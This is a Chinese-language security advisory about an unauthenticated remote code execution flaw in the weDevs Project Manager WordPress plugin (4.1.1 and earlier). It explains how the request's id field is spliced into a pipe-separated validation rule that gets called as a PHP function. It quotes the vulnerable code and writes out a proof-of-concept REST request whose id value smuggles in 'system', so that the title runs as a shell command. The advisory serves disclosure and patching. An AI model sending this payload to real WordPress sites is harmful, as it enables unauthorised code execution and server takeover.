ARTICLE · 1313459
【漏洞预警】WordPress 插件爆出远程代码执行漏洞(POC已公开)CVE-2026-116512

一、漏洞描述
weDevs Project Manager 是 WordPress 上的项目管理插件。改项目名走一条 REST 接口,请求里带 title 和 id 两个字段,路由上挂着权限检查。
漏洞定性为未授权远程代码执行,4.1.1 及更早的版本都在范围内,4.1.2 已经修掉。
请求里的 id 会被原样拼进一串用竖线隔开的校验规则,规则再被拆开,每截当一个 PHP 函数名字调用。命令执行完,输出跟着响应一起回来。
CVE 记录 10 月 31 日收录,11 月 2 日又更新过一次。
二、漏洞原理
更新项目那条路由挂了 Update_Project 验证器,WP_Router 把规则逐个转成参数校验回调。权限类 Project_Manage_Capability 单独挂在路由上,排在后头。
// src/Project/Validators/Update_Project.php 4.1.1
public function rules() {
$id = $this->request->get_param( 'id' );
if ( is_array( $id ) ) {
return [];
}
return [
'title' => 'required|pm_unique:Project,title,'.$id,
'id' => 'required|gtz',
];
}
id 取自请求本身,拼进 title 的查重规则里,中间只挡了一下数组,字母和符号都放过去了。
竖线是关键。
校验器拿规则串按竖线切开,逐截往下走。每截先按冒号分出函数名和参数,再补前缀。补出来的名字如果不存在,判断就落空,原名原封不动留着,最后被当成函数调一遍,请求里的值整个传进去。
// core/Validator/Abstract_Validator.php 4.1.1
protected function get_validation_fns( $fns ) {
return explode( '|', $fns );
}
protected function call_validation_fn( $value, $fn ) {
$fn_parts = explode( ':', $fn );
$fn_name = trim( $fn_parts[0] );
if ( strpos( $fn_name, 'pm_' ) === 0 ) {
$prefixed_fn_name = 'wedevs_' . $fn_name;
} else {
$prefixed_fn_name = 'wedevs_pm_' . $fn_name;
}
if ( function_exists( $prefixed_fn_name ) ) {
$fn_name = $prefixed_fn_name;
}
if ( count( $fn_parts ) > 1 ) {
$fn_params = trim( $fn_parts[1] );
$fn_params = explode( ',', $fn_params );
return $fn_name( $value, $fn_params );
}
return $fn_name( $value );
}
system 补完前缀是 wedevs_pm_system,插件里当然没有这个函数,于是原名留了下来。
公开的验证脚本把 id 写成 x|system,title 写成 id。规则串里多切出一截 system,title 正好是要执行的命令。下面按 4.1.1 源码推导,没有在本机跑过。
// 请求体,取自公开的验证脚本
POST /wp-json/pm/v2/projects/1/update
id=x|system title=id
// 4.1.1 拼出来的 title 规则串
required|pm_unique:Project,title,x|system
// 按竖线切开,最后一截落到
$fn_name = 'system';
return system( 'id' );
WordPress 收到 REST 请求,先把参数交给校验回调,跑完才轮到权限回调。命令执行发生在前一步,权限类还没上场,请求也不需要登录态。
三、修复建议
将插件升到 4.1.2。















































































